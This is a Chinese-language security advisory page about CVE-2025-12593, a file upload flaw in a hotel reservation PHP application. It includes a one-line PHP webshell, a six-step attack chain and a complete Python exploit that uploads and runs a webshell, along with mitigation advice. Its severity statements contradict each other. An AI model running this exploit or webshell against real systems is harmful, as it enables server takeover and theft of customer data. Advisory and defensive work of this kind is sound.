IPBUF安全漏洞报告
English
CVE-2025-12593 CVSS 4.7 中危

CVE-2025-12593 Simple Online Hotel Reservation System 2.0 任意文件上传漏洞

披露日期: 2025-11-02

漏洞信息

漏洞编号
CVE-2025-12593
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Online Hotel Reservation System 2.0

相关标签

任意文件上传CVE-2025-12593Simple Online Hotel Reservation Systemwebshell代码注入PHPweb应用安全酒店管理系统

漏洞概述

CVE-2025-12593是code-projects团队开发的Simple Online Hotel Reservation System 2.0版本中的一个高危安全漏洞。该漏洞存在于/admin/edit_room.php文件的Photo Handler组件中,由于该组件对用户上传的文件缺乏有效的安全验证和过滤机制,攻击者可以通过构造恶意请求,上传任意类型的文件到服务器端。攻击成功后,攻击者可以获取服务器的webshell权限,进而实现远程代码执行,完全控制受影响的服务器。该漏洞的CVSS评分为4.7,属于中等严重程度,但由于其利用难度较低且公开的漏洞利用代码(PoC)已存在,因此实际威胁程度较高。攻击者无需特殊权限即可发起攻击,只需拥有酒店管理系统的高权限管理员账户即可利用此漏洞。漏洞的成功利用将导致酒店客户数据泄露、服务器被完全接管等严重后果。

技术细节

该漏洞的核心问题在于/admin/edit_room.php文件中的Photo Handler组件未对上传文件进行充分的类型验证和内容检查。攻击者可以通过以下步骤利用此漏洞:首先,使用管理员账户登录系统并访问/admin/edit_room.php页面;然后,在上传房间照片的功能点拦截HTTP请求,将恶意PHP文件(如webshell)作为房间图片上传;由于服务器端未验证文件扩展名和MIME类型,恶意文件将被保存到服务器可访问的目录中;最后,通过直接访问上传的恶意文件路径,攻击者可以在服务器上执行任意PHP代码。常见的webshell包括<?php system($_GET['cmd']); ?>或更复杂的冰蝎、哥斯拉等工具。该漏洞的利用不需要复杂的攻击技术,攻击者只需掌握基本的HTTP请求构造和文件上传操作即可完成攻击。修复此漏洞需要在服务器端实现严格的白名单验证机制,仅允许上传指定类型的图片文件(如jpg、png、gif),并对上传文件的内容进行实质性检查。

攻击链分析

STEP 1
步骤1
获取管理员账户:攻击者通过暴力破解、社工或利用其他漏洞获取Simple Online Hotel Reservation System的管理员登录凭证
STEP 2
步骤2
访问漏洞页面:使用获取的管理员账户登录系统,导航至/admin/edit_room.php文件上传功能点
STEP 3
步骤3
构造恶意请求:拦截正常的图片上传请求,将Content-Type和文件扩展名修改为.php或其他可执行脚本格式
STEP 4
步骤4
上传webshell:通过edit_room.php的Photo Handler组件上传包含恶意代码的PHP文件,服务器未进行有效验证
STEP 5
步骤5
获取webshell访问权限:直接访问上传的恶意文件路径,通过GET参数传递系统命令实现远程代码执行
STEP 6
步骤6
持久化控制:上传更复杂的webshell或建立后门,建立持久化访问通道,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12593 PoC - Simple Online Hotel Reservation System 2.0 Unrestricted File Upload # Target: /admin/edit_room.php def exploit(target_url, username, password, webshell_path): """ Exploit for CVE-2025-12593: Unrestricted File Upload in Simple Online Hotel Reservation System Args: target_url: Base URL of the vulnerable application username: Admin username password: Admin password webshell_path: Path to PHP webshell file """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login attempt status: {response.status_code}") # Step 2: Upload malicious file via edit_room.php upload_url = f"{target_url}/admin/edit_room.php" with open(webshell_path, 'rb') as f: files = { 'room_image': ('shell.php', f, 'application/x-php') } response = session.post(upload_url, files=files, timeout=10) print(f"[*] Upload attempt status: {response.status_code}") # Step 3: Access uploaded webshell webshell_url = f"{target_url}/admin/uploads/shell.php" response = session.get(webshell_url, params={'cmd': 'whoami'}, timeout=10) if response.status_code == 200: print(f"[!] Exploit successful! Webshell accessible at: {webshell_url}") print(f"[*] Command output: {response.text}") return True else: print("[-] Exploit failed. Webshell not accessible.") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <webshell_path>") print(f"Example: python {sys.argv[0]} http://localhost/admin admin password shell.php") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

影响范围

Simple Online Hotel Reservation System 2.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:首先,通过Web应用防火墙(WAF)配置规则,拦截.php、.phtml、.phar等危险文件扩展名的上传请求;其次,将/uploads或/admin/uploads等上传目录从Web根目录移除或设置为禁止执行脚本;再次,限制管理员账户的登录尝试次数,防止暴力破解;最后,定期检查服务器上的可疑文件,特别是上传目录中最近修改的.php文件,及时清理发现的恶意文件。建议同时部署入侵检测系统(IDS)监控异常的文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表